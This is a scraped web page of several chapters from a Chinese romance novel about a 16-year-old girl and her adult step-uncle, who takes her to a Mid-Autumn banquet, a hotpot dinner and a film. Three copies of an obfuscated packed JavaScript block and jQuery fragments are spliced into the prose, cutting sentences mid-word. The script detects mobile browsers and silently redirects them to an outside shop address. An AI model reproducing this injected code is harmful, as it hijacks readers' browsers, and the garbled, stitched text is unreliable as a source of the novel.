;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698560|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
险些误了周仕东手里的生意。
周家势微,胥家老爷子走后也大不如前,如今只有胥淮风同贺家长子交好,关系不错。
胥淮风未明言:“你要只是为了这事儿来,那我就不送客了。”
杨峥倒也不恼,反而朝他作起了揖。
“您就行行好,把那辆Porsche911借我使使呗,等日后事成了一定请你喝酒。”
不用多想就知道是要被拿去博美人一笑,这事自他十几岁情窦初开就没少干过。
“不行,我嫌脏。”
杨峥依旧喋喋不肯罢休,说他木石人心能让人家姑娘苦等数年不忘,怎么会懂他们多情人的苦衷。
—
自从攸宁来到周家后,老太太的身子一日强过一日。
倒不是病好了多少,而是有了精神头。
攸宁几乎每天都会陪着老太太到入睡,之后再回屋补习落下的功课,尽管效果甚微。
中秋节那天,何姨回老家探亲,照顾老太太吃饭的任务便落到了她身上。
周仕东在饭桌上反复交代道:“等会去贺家宴上的时候多带点东西,趁着人都在,让这小子亲自给人家好好赔不是。”
胥怜月应了下来,叫冯婶去备车。
周望尘这次没有顶嘴,大抵是对上回的事心有余悸,瞥了一眼正在一旁喂饭的攸宁。
“阿……再坚持一下,已经是最后一口了。”
晚饭结束,攸宁扶着老太太回屋躺下,哄着人把药喝下,直到听见鼾声才离开。
再次经过堂屋,里面已经熄了灯,大门外汽车发动作响,估计是胥怜月带着周望尘出发了。
今日家里人手少,攸宁回屋的时候被冯婶碰见,二话不说拉进了厨房,一边帮忙洗碗一边听她唠家常。
“我前些年跟太太去过一次贺家宴会,京州几大家子的人都在那叫个气派,茶水点心都是顶好的东西,现在想想都馋得慌。”
攸宁笑了笑,一耳朵进一耳朵出。
她偷闲时望了一眼天空,圆月似玉盘高高挂起,是与往年相同的景象,只不过在身边的人不同了。
一番忙碌结束后,冯婶回屋打开收音机听起了节目。
攸宁则坐在书桌前,在理化生的海洋中苦思冥想,收获颇多……她绝望地发现自己大概没有理科思维。
就在不知第几次擦掉卷纸上的辅助线时,院外传来了敲门声。
平日都是冯婶去开门,但这回她似乎没有听见,少顷又传来了第二三次敲门声。
攸宁放下了笔,摸着黑前去开门。
“请问您找哪位……”
话尚未讲完,剩下那半噎在了喉咙里。
只见胥淮风靠在车边,姿势并不端正,后颈微弯,仅手肘一点落于车门之上。
他指间猩火忽明忽灭,几近燃到了尽头,开口时淡淡烟雾将他笼罩。
这是不同于佛烟的缥缈,更像沉沦于世俗的烟火气。
但对于攸宁来说,都是令人看不真切的存在。
唯一明了的是他的声音,即便是极黯淡、朦胧的,也让人觉得一阵心安。
“我要找的人已经出来了。”
攸宁顿了一下,指了指自己:“找我吗?”
他只是舅舅妻子的弟弟,按理说与她的关系甚远,她原以为再次见面需等到过年。
胥淮风点了点头,将烟掐灭:“今天吃月饼了吗?”
5. 04
攸宁怎么也没想到,胥淮风带她来吃月饼,竟是要吃戏楼的月饼。
青石阶上,朱红的立柱擎起琉璃歇山顶,天井中木樨叶儿铺满了砖瓦,牌匾上“游园惊梦”四个字不知是哪位大家的遗作。
随着胥淮风下车,攸宁认出了旁边周家的汽车,意识到大抵这就是周仕东和冯婶口中的宴会。
她慢吞吞地跟在他身后:“小舅。”
已然比上次喊得顺口许多。
胥淮风回头看她,眉梢微挑,似在作问。
“我……我是可以进去的吗?”她说的极谨小慎微,似要低进尘埃里。
攸宁敛着眸,不会发现男人此刻一闪而过的动容。
“不是什么大不了的地方,为什么不可以。”
如果周家这么想藏住她,那就由他来做那个恶人。
正当攸宁犹豫不决时,一副宽阔臂膀出现在眼前,黑色大衣下胳膊线条舒展流畅。
她一时失神,鬼使神差,将手堪堪搭在了他的肘窝上,深吸了一口气。
肩肘随之收拢。
一入戏楼便闻余音绕梁,几支折桂插在瓷瓶里,飘出恰到好处的香气。
戏楼老板闻声小跑出来,看见来人是胥淮风迅速迎了上去。
“胥三哥,您得有大几年没来了吧,刚才杨兄跟我说您要来的时候我还不信呢。”
话音落下,才注意到他身边的小姑娘。
瘦瘦高高,短头发,皮肤偏深,不显山不露水但五官十分标致灵动。
许是因为胥淮风的名号,四处的人纷纷看了过来,最终都落在了攸宁的身上。
但她却觉得,刚才在门外的那些局促不安,都随着毛呢布料传来的暖流,一同消失殆尽了。
戏楼老板是个人精,看惯了这种场面,试探问道:“您是先去主厅问候,还是直接上楼?”
见得了人的都走走场面,见不得人的便睁一只眼闭一只眼藏起来。
“去主厅。”
胥淮风径直走进长廊,鞋底踏上木质台阶时发出吱呀声响,昭示着这栋建筑曾经历过的悠悠岁月。
大概是察觉到她手心攥出了汗,进门前他微微侧身,在她头顶落下一句:
“进去以后不愿讲话可以不讲。”
……
攸宁还是在进门前松开了手。
清逸古韵的雅厅内,几个穿金戴银的富态妇人正指点着戏台谈笑,胥怜月也在其中,不过是最旁的位置。
一同说话的是贺太太:“小孩子打打闹闹,伤得快好得也快,不是什么大事。”
“那哪儿行,承泽的手可是金贵的,磕着碰着半点都是大事。”
他们到得晚,已经过了开宴时间,厅里仅留下了大人们,小辈儿们早就跑到外面撒野了。
攸宁几乎紧站在胥淮风身旁,总算明白了他说可以不用讲话的意思。
与外面的人不同,这里的人甚至没有看她一眼,那样的压迫感不言而喻。
哪里是不愿讲,分明是讲不出。
“扰了嫂嫂们的兴致,路上有点事,来得晚了些,先跟各位赔个不是。”
胥淮风四两拨千斤,压下了一片聒噪,将焦点引了过来。
攸宁能感觉得到有人正在扫视自己,尽管知道这里的人脉是许多人一辈子也碰不到的,还是忍着不适向后挪了一步。
最终是贺太太先道:“淮风可是稀罕客,只要来就算赏我们脸了,不过旁边这位小姑娘是?”
攸宁张了张口,却发现自己发不出声来。
她下意识看向胥怜月,见她眉头紧皱,神色不佳。
胥淮风声音清冽,听不大出情绪:“这是家里外甥女,刚回京州不久,年纪小性子弱,适应了些日子才带得出来。”
他说得不疾不徐,给足了思索的时间。
众人面面相觑,一时心里有了定数。
胥家辈分大、人且少,稍微盘算下往事便知道是谁家姑娘。
终是胥怜月脸面挂不住,主动介绍道:“她叫攸宁,是我家小姑子华婉的遗腹子,生下来时身子弱,就送去了南方乡下的亲戚家养病,这不最近才接回来。”
这话讲得冠冕堂皇,若不是攸宁同阿嬷遭了许多罪,甚至还有上顿不接下顿的时候,兴许她就真的信了。
不过她还是迷失了片刻,只因知晓了母亲的姓名。
周华婉,这样好听的名字,却好似被人避之不及,除了糊涂了的老太太,在家中从未有人提起。
大约是胥怜月脸色太过难看,有人救场转移话题:“胥三这些年可是如日中天,也不算辜负胥老爷子的一番苦心,日后定是要挑起大梁的,就是不知道哪家闺女能入得了他的眼啦。”
攸宁不经意间瞧了一眼胥淮风,发觉他面容重骨相是因皮肉偏薄,想起第一次见他以为不过二十出头。
这样的年纪在乡下早就娶妻生子,可他却至今未婚。
胥淮风礼貌笑了笑,并未拒绝她们的攀谈:“那就劳驾嫂嫂们替我留意了。”
人前人后,婚事似乎是永恒的话题。
—
从雅厅出来后,攸宁总算舒了口气。
胥淮风带上门,问道:“很紧张吗?”
“嗯,有点儿。”
虽然他替她挡住了大部分问答,但还是不可避免地两股战战。
“第一次总是没法避免的,你要是不喜欢这种场合,以后也不必和她们联络。”
攸宁点了点头,随着胥淮风向外间方向走去,听见他道:“总之,怎么舒服怎么来就好。”
说罢从廊间托盘上拿了枚小巧的月饼,递到了她的手中。
“自来红,我小时候蛮喜欢的,尝尝合不合口味。”胥淮风道。
攸宁捧着形似团子的点心咬了一口,牙齿切断酥松的外壳,一股桂花味在口舌散开,甜脆中带着坚果的余香。
她舔了舔嘴上的残渣:“真的很好吃!”
胥淮风低头看着极为捧场的小姑娘,一时竟也轻松了不少。
“小三叔,你什么时候过来的?”
攸宁闻声看去,见说话的是个高高瘦瘦的温润少年,被夹板固定的右臂挂在脖上。
胥淮风应了一声,简单过问了几句。
她旁听了片刻,便知他就是那个被周望尘带出去骑摩托摔进医院的贺家小儿子,贺承泽。
不远处的庭院内,几个年轻人凑在一桌打扑克,周望尘就坐在其中,同她对视一眼后又扭回了头。
胥淮风注意到她的分神:“去玩一玩吧,他们和你都是同龄人。”
还没等攸宁说话,一旁的贺承泽便道:“放心吧小三叔,我一定帮您照顾好妹妹。”
在得到了胥淮风的默许后,她“被自愿”地带离他身边。
频频回眸,发现他正向楼上走去。
……
牌桌上坐了六七个人,玩的是敲三家,喊得极其火热。
攸宁对陌生场合有些畏惧,并未过去凑热闹,而是选了个安静的位置坐下。
同样没去的还有打着石膏的贺承泽,向她介绍伙伴的同时还穿插叫来了不少点心,是更甚于自来红的精致。
但人总是先入为主的,即便后面的再好,都不如最初的惊艳。
“攸宁妹妹,你试试这个枣泥饼子,是这里的招牌。”
攸宁好奇问道:“你怎么知道我的名字?”
少年笑起来脸上有两个好看的酒窝,指了指牌桌上正争三鲜的周望尘:“他告诉我的。”
她有些意外,并不是因周望尘会和别人提起她,而是因这俩人的关系貌似不错。
“我听说你也在一中上学,读的高二?”
见她点了点头,贺承泽才道:“巧了不是,咱们几个里面最大的和最小的都是女生了。”
攸宁再次看向牌桌,瞧见了和周望尘一队的女生,一身酒红色束腰裙和栗色长发,的确比旁人大了不少。
一众点心吃了个遍后肚子有些发撑,她闲来无事打量起他胳膊上的夹板。
被贺承泽察觉到后,举起手来玩笑道:“改天有空我带你骑摩托玩。”
吓得她连忙说不了不了。
一局游戏结束,许是玩得无聊,有人起身朝贺承泽这边来。
攸宁见状趁机站了起来,说想去一趟卫生间。
—
胥淮风抵达二楼看台时,几个儿时发小已经离场,仅有杨峥留下正与美女茶艺师打趣儿。
“你家是哪儿的,有男朋友了吗,每月能挣多少钱?”
他拉开椅子坐下,无意回应在背后游走的视线。
最终是杨峥先把人撵走了,小声蛐蛐道:“那姐姐都快把你看穿了,我估摸着回去得长针眼。”
胥淮风烧了茬开水烫壶,明显没有接话的意思。
“都说外甥随舅外甥随舅,我原先还不信的,今天一看可真有道理,亭午的小媳妇都不敢往这儿领,你就这么水灵灵地把那小姑娘带过来了。”
他拈起茶匙,将茶叶悉数拨入壶中:“她不一样,不是外人。”
杨峥是个碎嘴子,几场戏下来就没消停过,缠着他问东问西。
胥淮风仅捡着些有用的回答:“我把她的户口落到安老师那里了,以后还方便些。”
提壶注水,幽幽茶香冒出壶口。
正当杨峥伸杯去接茶时,对着外面道:“呦呵!这是从哪儿变出来了个妹妹。”
胥淮风回头,见攸宁正站在楼梯口,像是偶然经过又好似在寻找什么,最终视线落在了他身上。
“下面不好玩?”
小姑娘摇了摇头,说不出个一二三。
杨峥插话道:“我妹妹也在下面,要早点知道就让她带你玩儿了。”
攸宁闻声仔细瞧了一眼,发现他长相与刚才在楼下和周望尘玩牌的女生极像。
胥淮风没有说什么,直接招手让她坐到了自己的旁边,添了一套新的茶具。
杨峥这种人很难给人留下多好的初印象,尤其是对攸宁这样涉世未深的姑娘来说。
胥淮风深知这点,时不时把控下节奏,尽量把话题框在合适的范围里,今年多大、成绩如何、喜欢什么、讨厌什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698561|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么云云。
攸宁的回答大都十分简短,只是频频学着他的样子,捏住杯沿,拖着杯底,细细地啜呷。
但江山易改本性难移,杨峥随口问道:“对了,你在学校有没有喜欢的男生?”
攸宁顿了一下,话在这里卡了壳。
这个问题太偏离她的生活,她还从未思考过。
所幸胥淮风帮她解了围:“差不多行了,别祸害别人家孩子。”
大概看攸宁三棍子打不出个屁来,杨峥也觉得有些无聊,干脆玩起了手机:“总感觉你不大爱说话呀,不会是我吓着你了吧?”
的确有这样一方面的原因,眼前人一副吊儿郎当公子哥的模样,让攸宁有些难以接受。
但最主要的还在于她自己:“我普通话讲得不好。”
所以不敢说话,尽可能地用最简练的语言表达。
许是她声音太小,杨峥开了盘游戏并未听见,反而是身旁的人道:“那你觉得他普通话讲得怎么样?”
攸宁抬头,看见胥淮风正在沏一壶新茶,茶汤是淡淡的粉色,一时之间花果飘香。
“很好,很标准。”
“他祖上是做船舶生意的,十五岁才从津海来的京州。”
胥淮风扬了扬嘴角,一只修长笔直的手斟了杯新茶,换到了她面前:“他原先讲话一股煎饼果子味儿,但你也看见了,他的话不是一般的多,不到半年就能用京片子骂人了。”
攸宁有些惊讶:“真的吗?”
“不信的话,我让他讲一段单口给你听听。”
她以为胥淮风仅是随口一说,没想到竟真的喊停了玩得起兴的杨峥,等戏台上的青衣摇着水袖退场后,让他上去来了段刘宝瑞的《斗法》。
那话怎么说来着,是地地道道的童子功。
听见戏台上的这出后,许多人都凑了过来,包括刚才在庭院玩牌的周望尘和贺承泽。
攸宁以前从没听过相声,在台上台下的吹嘘捧场声中笑得前仰后合。
却丝毫不知道,杨峥虽是个不折不扣的混子,但在京州还算是有头有脸的人,如今也仅有胥淮风能支得了这人来上一场。
—
一段表演落幕。
攸宁回头才发现胥淮风已不在身边。
贺承泽见她在寻找什么:“小三叔刚才出去了,好像是要拿什么东西。”
今年中秋来得偏晚,夜里降温,空气凉了不少,大概与岭南最冷的时候差不多。
她逆着人们汇集的方向行走,沿着他们来时走的路寻找。
从喧嚣的舞榭歌台离开,进入了一片空旷、幽深的天井,木樨叶散落一地,空中弥漫着一股草本植物的气息。
小桥流水旁有处八角亭,月光绕过石柱洒在男人的身上,像是披了一层朦胧的纱。
那种感觉再次袭来,不安、惶恐、一触即破,以至于直到听见说话声,攸宁才注意到亭子里还有其他人。
“淮风哥,最近上了一部不错的电影……”
女人的声音里满怀希望,却被胥淮风的一句话轻易击碎:“你不该这么叫我。”
就在女人还要说什么时,似乎察觉到了她的存在,仅应了一句便落荒而逃。
天公不作美,不知从何处飘来了片云,圆月半遮面。
攸宁只看到了墙角处一闪而过的红色裙角,再抬头发现胥淮风正转过身来瞧她。
他踩在木樨叶上走过来,每一步都会发出吱呀的声响:“杨峥讲完了?”
光线斜照,将他侧身映的明亮,最清晰的是耳朵的轮廓,天轮尖角将皮肤撑出淡淡的粉色。
攸宁一时呆滞,胥淮风已经站到了她面前:“怎么了,想要说点什么?”
她迅速低头,藏住发烫的脸颊:“没……没有。”
“那就是我身上有什么东西了。”
胥淮风轻嗤了一下,仅一声便让她心脏好似骤停。
于是她胡乱讲了句:“他是你的好朋友吗,杨峥?”
杨峥性格洒脱、无拘无束,看起来实在不像能和胥淮风讲到一处去的人,但两人关系偏偏不错。
他并未立即回答:“是不是学校生活不大适应?”
攸宁沉默了片刻,如实应了下来。
自从到了京州,尽管有老太太陪伴、胥怜月安排,胥淮风却是第一个过问她生活如何的人。
“宁宁,你要知道,有的时候人总得有那么一两个朋友。”
才不至于显得那么形单影只。
攸宁似懂非懂地点了点头,再抬眸却好似从他眼中看到一种荒凉,不过仅是一闪而过的存在。
胥淮风从怀里拿出一只包装精致的礼盒,递给了她:“给你的,中秋礼物。”
“谢谢小舅。”攸宁有些受宠若惊地接了过来。
这才想起贺承泽刚才说他出去是要拿什么,原来竟是给她的礼物。
“我现在可以拆吗?”
“你的东西你做主。”
绸缎系成了蝴蝶结样式,盖子掀开后里面的东西露了出来,是一部款式最新的智能手机和一张电话卡。
6. 05
和郭垚真正的熟络起来,大抵有胥淮风那句话的缘故。
在某次攸宁鼓起勇气邀请她共进午饭后,两人便成了亲密无间的朋友。
不同于其他女生交往时的形影不离,郭垚所在的文科三班在另一栋楼上,所以她们仅能在吃饭时间或体育课上见面。
攸宁选的健美操课总是最后一个放人,每次自由活动时郭垚都会在外面等她。
“昨天月考成绩下来了,我妈知道我成绩掉了十多名,点灯熬油训了我一晚上。”
攸宁主动安慰道:“阿姨也是太担心你才会着急的,只是一次考试而已,代表不了什么,只要努力下次一定会更好的。”
虽然是极其公式化的言语,也起了不少的安抚作用,至少对她自己而言。
比起郭垚仅从年级前十掉到了前二十,攸宁的问题显然更严重。
因为她的成绩排在了年级倒数,也就语文英语勉强能入眼,兴许还得多谢周望尘的“加餐”。
倘若她学习本来不好也不会那么难过,可偏偏她曾经也是学校数一数二的好学生。
除了继续刻苦努力,攸宁实在不知道该怎么说服自己。
不过郭垚的自我调节能力比她想象的要强许多:“算了,不想那么多了,这周末我请你去看电影吧,那部片子真的好火的……”
攸宁不知道是什么电影,但很爽快地应了下来,约定好了时间和场次。
她仅在过年时和阿嬷一起去镇上看过几次露天电影,像是《小兵张嘎》《铁道游击队》什么的,还从来没有去过电影院。
就在陷入回忆时,一颗篮球滚到了脚下,险些将她绊了一跤。
“喂!帮我们传下球!”
攸宁弯腰抱起篮球,郭垚伸手阻拦她,刚想口吐芬芳,话到嘴边却变了样:“可是我们不会传球的呀。”
篮球场上一群男生在零度的天里脱掉了校服外套,为首的周望尘穿着一身柠檬黄背心格外显眼,和攸宁对视的刹那别过头去。
最终是在一旁休息的贺承泽看见了她:“攸宁妹妹,应该没砸到你们吧?”
一声妹妹惹来了无数人的打量。
她把球递了过去想要赶紧离开,贺承泽却主动问道:“你们也来看篮球吗,要不一起过去?”
郭垚一把将她扯了回来:“那太好了,我们是特意过来的!”
于是在一群人艳羡的目光下,她们就这样到达了看台第一排的位置。
“你怎么认识的贺承泽,你俩什么关系,快快如实交代。”
“我小舅和他家是世交,我们就是在中秋聚会上见过一面。”
距离那一面有多久了呢?
久到通讯录里的那串号码,她已经可以倒背如流,却没有任何理由去拨通。
郭垚撇了撇嘴表示不信,攸宁只是笑了笑,并没有把周望尘搬出来作佐证。
因为早在上学前一天她就答应了他,出了家门两人要当做不认识彼此,少招惹麻烦。
所幸郭垚并没有察觉到什么。
攸宁对篮球并不感兴趣,仅是陪人看个热闹,不管哪边进球都会欢呼一下。
中场休息的时候周望尘被换了下来,郭垚则说要去一趟卫生间,但直至下半场开赛人都没回来。
攸宁到处找了一圈没有发现踪迹,又实在是放不下心,准备去医务室瞧一眼。
好在她运气不错,刚到医务室便看见郭垚站在门外。
只是身体一动不动,僵硬的有些奇怪。
攸宁走过去拍了拍她的肩膀:“你是哪里不舒服吗?”
郭垚转过身来,脸色像见了鬼一般煞白。
攸宁一头雾水地向医务室里看去,只见周望尘躺在理疗床上,陈露露拿着冰袋坐在一旁,趁其不备轻轻在他脸颊上落了一个吻。
“我……我有点低血糖,就先回去了。”
说罢郭垚跑得无影无踪,半点没有生病的模样。
只留攸宁与屋里的二人六目相对。
—
上个月,西城那片地皮开始动工,胥淮风便忙得愈加厉害。
饶是刘秘也有些扛不住,在车上忍不住眯了一下,醒来时发现已快到市里。
“那批标书不用看了。”
“啊?”
刘秘回头看向自家上司,明明几宿未歇,却瞧不出什么倦意。
胥淮风并未多言,将人撂到了公司门口:“回去好好休息,以后还有得你忙。”
他没有一起下车,而是差司机继续开,但不必着急。
直至上次与他磨洋工的老管家,这次紧跑慢跑来给他开车门:“您可算是来了,老爷子正在里屋等着您过去呢。”
早在半个月前胥兆平便开始主动联络他,但他都以太忙为由推辞了见面的邀请。
胥淮风婉拒了作陪,一人去了里屋,胥兆平正对着棋盘自己跟自己下棋。
“我有事来得晚了些,大伯好雅兴。”
终究是晚辈,不得太逾矩。
胥兆平推了推老花镜,让他在旁坐下:“年轻人忙是好事,像我们这些老头子也只能自娱自乐了。”
胥淮风一语双关:“这是哪里的话,大哥不是经常来看您吗。”
二人的“父慈子孝”,在京州可是远近闻名。
“你大哥要是有你一半能干,我也不至于到今天还替他操着心。”
胥兆平提起一子,久久未落:“前些日我听人说,你带了个小姑娘去了贺家的宴会。”
一番寒暄过后,此行的目的终于显露。
“是二姐告诉您的吧。”胥淮风从未想要隐瞒,“没错,我确实带着周家的姑娘去解了解闷儿。”
胥兆平膝下有一双子女,胥怜月正是他的小女。
“你大事尚未订下,就随便带着异姓小辈出去,叫旁人看见如何议论。”
胥淮风笑了笑:“左右不过一个十六岁的姑娘,我就当自家外甥女顾着,也算是弥补一下胥家这些年对她的亏欠。”
话音落下,棋子松手掉落至地。
胥兆平知道,那姑娘能回到京州,有一半是他的缘故:“你到底是在弥补她,还是在与我作对?”
“我要是真想与您作对,今日也就不必来这一趟了。”
胥淮风撤了一步,半蹲下来,拾起那一粒棋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698562|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子:“我听说大哥那边的工程刚结束,不知道能不能有幸请来帮我参谋一下,毕竟这一块谁也不如他了解。”
此话一出,老人家神色松了不少。
他虽一向忌惮这个侄子,但也庆幸终究是一家人:“我老了,早就掺和不了这些事了,你还是得同你大哥当面商量。”
“那是自然。”
胥淮风俯身,落下那一子。
主动扑入虎口,自然是要先置死地而后生。
—
自从攸宁在医务室撞见那一幕后,周望尘虽没明说让她保密,却对她的态度缓和了许多。
不仅是在言语层面,而且从行为上也有所改变。
譬如在学校见面时会点点头,在家吃饭时会给她夹菜,放学后也没再让她帮忙写过作业。
这本应是一件值得开心的事,但偏偏这几日愁眉不展,连周望尘都看得出来她有心事。
“你不是说今天要和同学去看电影吗?”
攸宁点了点头,说今天可能会晚些回家,让老太太不要等她。
自从在体育馆分别后,郭垚就一连几日没找她吃过饭,连体育课也临时请了假。
攸宁几次去文科楼找她,都见她趴在桌上一动不动。
放学后攸宁在提前约好的地方等她,直至学生都走了个干净,也没见到郭垚的身影。
她坐在路边,拿出手机发了条信息,问她下没下楼。
天渐渐变黑,路上人也越来越少,她等得有些难捱,不知第几次打开通讯录,看见那串号码安静地躺着。
还能想起那日他将数字输入手机,说以后有事可以随时找他。
攸宁从未点过那个号码,担心拨打出去他会问她做什么,问候两句便挂掉电话。
指间误触的瞬间,心跳好似空了一拍,幸好只是打开了编辑页面。
她先是输进了小舅两个字,看了许久又删掉,一笔一划地写上了他的名字。
就在这时,郭垚的信息蹦了出来——“对不起,我最近身体不舒服,就不能陪你去看电影了。”
攸宁虽然有些遗憾,但更多的是担心,不过询问了几句都石沉大海。
正当她背起书包想要离开的时候,手机却突然震动起来。
胥淮风三个字赫然出现在眼前。
屏幕触碰脸颊时一阵冰凉,仍能忆起他耳廓天轮的形状:“放学不回家,是在等谁吗。”
“小舅,你在学校附近?”
听见男人轻应了一声,攸宁迅速向四周看去:“可是我怎么没有看见你。”
她几乎是习惯性地寻找那辆黑色轿车,并未注意到一抹孤孑清寥的人影。
“你往对面看。”
明明是那样黑压压的角落,连路灯的光都十分微弱,甚至隔着一道车水马龙、川流不息的十字路口。
攸宁还是在第一眼就看到了胥淮风,莫名心里涌进一股暖流,好像她终于等来了那个能代替阿嬷拉开木门的人。
在路灯变绿的那一秒,她背着书包跑了过去,许多许多话都化作一句:
“小舅,好久不见。”
我终于等到了你。
7. 06
胥淮风没料到,许久未见小姑娘高了胖了不少,也开朗了不少。
当她眨眼问他是不是路过时,他难得犹豫了一下,说是在附近办事,恰好过来看看。
“那我不打扰您了,就先回去了。”说罢攸宁摆了摆手就要离开。
好在他眼疾手快抻住了她的书包,又把人拽了回来。
“饿不饿,想吃点什么吗?”
攸宁迅速点了点头,她的确等得饥肠辘辘,但除了食堂和冯婶做的家常饭外,她也不知道还能吃些什么。
胥淮风替她拿了主意:“这附近有家铜锅不错,要不去尝一尝?”
那时候他们在这儿上学,隔三差五便要去一趟,尤其是杨峥已经快把这里当成了自家后厨。
所以哪怕时隔多年,老板娘还是一眼认出了他,特意在二楼辟了一处安静宽敞的位子。
“这就是那个当初总缠着你们的小姑娘吧?都长这么大了?”
攸宁盯着清汤一点点注到水位线。
胥淮风道:“您记错了,那个已经快大学毕业了。”
老板娘一脸惊讶,没想到时间过得这么快,感慨岁月不饶人。
等锅开的时候胥淮风问攸宁喜欢什么蘸料,没想到两人一南一北口味却相似,仅一点醋和生抽便好。
他原先家里管教严,吃饭时不喜说话,但发觉小姑娘比刚才安静了不少,便主动挑起了话题。
“最近有心事?”
攸宁将一片肥牛卷塞进嘴里,险些被烫到:“您是怎么知道的。”
年纪太小,心情如何都写在脸上,即便刚才见他时雀跃了一下,也很快就沉闷了下来。
攸宁确实有许多许多心事,不过有些话不大适合对长辈和异性讲,尽管胥淮风从未限制过她什么。
就在他快要过掉这个话题时听见:“上个月的月考我的名次排在了倒数第六,数学刚刚及格,物理化学还差那么一点。”
作为成绩优异、出类拔萃的学长,他无疑是这方面最好的倾诉对象。
胥淮风:“其他的科目呢?”
“语文和英语都是一百一十多。”
他没有立即下定论:“那你认为你的问题在哪里?”
攸宁摇了摇头:“我不知道,其实我已经很努力了,在课堂上从没有走过神,每一道错题都会好好整理,也会按时预习和复习,但成绩总是提不上去。”
清汤沸了几次,水位降了许多,胥淮风始终没有动筷,一直倾听着她的苦恼,似乎自己也回到了学生时代。
“你当初为什么选择学理科?”
有些事情要从根上找原因。
攸宁回忆起当时的理由:“因为老师说过,学了数理化走遍天下都不怕,以后好考学也更好找工作。”
胥淮风继续问道:“可那真的是你喜欢的或者擅长的吗。”
大抵是第一次有人这样问她,攸宁想了许久没有说话。
久到他以为等不来回复时,小姑娘却突然讲道:“小舅,理想对我们来讲是一个很奢侈的词语。”
他们生来就在山谷,别无选择,只是想尽快地走出去。
胥淮风几乎是顿了一下,抬眸看去发现她眼帘低垂,脸颊上的晒痕尚未完全褪去,拨弄筷子的手背上还有几道旧疤。
“宁宁,虽然我没有参与你的过去,但至少在未来两年里,我会尽我所能托举你,直到你能过上理想中的生活,不再需要我。”
这话的分量不轻,也算是他第一次表明态度。
但小姑娘却很是谨慎:“您为什么要对我这么好?”
为什么他要比她真正的家人还要为她着想。
胥淮风笑了笑,夹起一朵松茸到她碗里:“不用想这么多,要真想报答我的话,就考一个好大学。”
—
一顿涮锅下肚,身上暖和了不少。
攸宁在店外等着胥淮风结账出来,发现这条街的对面是一家商场,顶楼电影院的大屏幕上正循环播放着《西北以北》的海报。
正是郭垚和她约好要去看的电影,也是这部片子让从前名不见经传的女主演一炮而红,一口气拿下了国内外的多个奖项。
“你想要去看吗?”
攸宁回头,看见胥淮风捻了一支烟含入口中,掀开打火机点燃:“原本是要和同学去的……但也还好,我本身也看不大感兴趣。”
她说了句违心的话,其实是有一些心动的。
但攸宁早就察觉到了他身上难掩的疲惫,尽管他似在有意隐藏,却还是能从语调和语速中听出些端倪。
胥淮风低眸看了一眼腕表:“现在时间还早,好不容易周末,可以适当休闲一下。”
这家商场相对偏僻,他们到的时候恰好赶上最后一场放映,仅有零零星星几个观众。
同攸宁曾经看过的露天电影相差甚远,影厅比想象中的要小,封闭、恒温,没有塑料板凳和人们的说笑,取而代之的是松软的沙发和安静的环境。
胥淮风选的位子相对靠后,四周唯一的观众是一对情侣,在播放预告片的时候便开始卿卿我我。
攸宁抓紧了手里的爆米花桶,轻咳了几声仍不见好转。
最终是胥淮风先注意到了她,问她是不是口渴了。
她连忙说不用,又觉得有些尴尬,于是主动说道:“小舅,我听我同学说这是一部励志电影,讲的是一个大学生到西北支教的故事。”
郭垚的介绍十分简单,就是一个心怀大义的女大学生到西北支教,与当地青年携手经过九九八十一难,最后帮助贫苦学生走出大山。
胥淮风坐在她的右手边,说话声极低却很清晰:“是吗,那倒是蛮值得一看了。”
影厅忽然暗了下来,龙标过后进了片头,石头山下金黄色的麦浪随风而动。
随着女主的行李箱被土路磕掉一个轮子,故事拉开帷幕。
或许是因为文艺片晦涩难懂的缘故,攸宁始终看得不大专心,频繁注意到他衣袖纽扣无意触碰到她手背时的冰凉触感。
直至情节深入,她才渐渐被吸引了过去。
与其说这是一个励志助学的故事,倒不如说是一个女人的逃亡之旅。
因生活束缚选择到西北支教的女人,在遇到当地经营刺青店的男人后,从误解、磨合再到自我和解的经历。
伴随着一场暴雨,情节推到了高潮,二人困在了一家小旅馆内。
身体博弈虽是被人鄙夷的低俗手法,却是感情升温和相互试探的最佳方式。
这是攸宁第一次看到这样的画面,尽管尺度并没有多大,可还是超乎了她的意料和认知。
尤其是胥淮风此刻就坐在她的旁边。
如果她能提前知道的话,肯定会义无反顾地选择隔壁的动画片。
但现在捂眼显然已经来不及了,且有些欲盖弥彰的嫌疑。
攸宁不知道自己是抱着一种怎样的心态看向了他,只知道当瞧见垂落的睫毛和舒展的眉心时,她长舒了一口气。
胥淮风呼吸匀称,下颌微仰,斑驳光影映照在脸上,似万花筒一般,被分割成不规则的碎片。
每一片都着了她叫不出名的色。
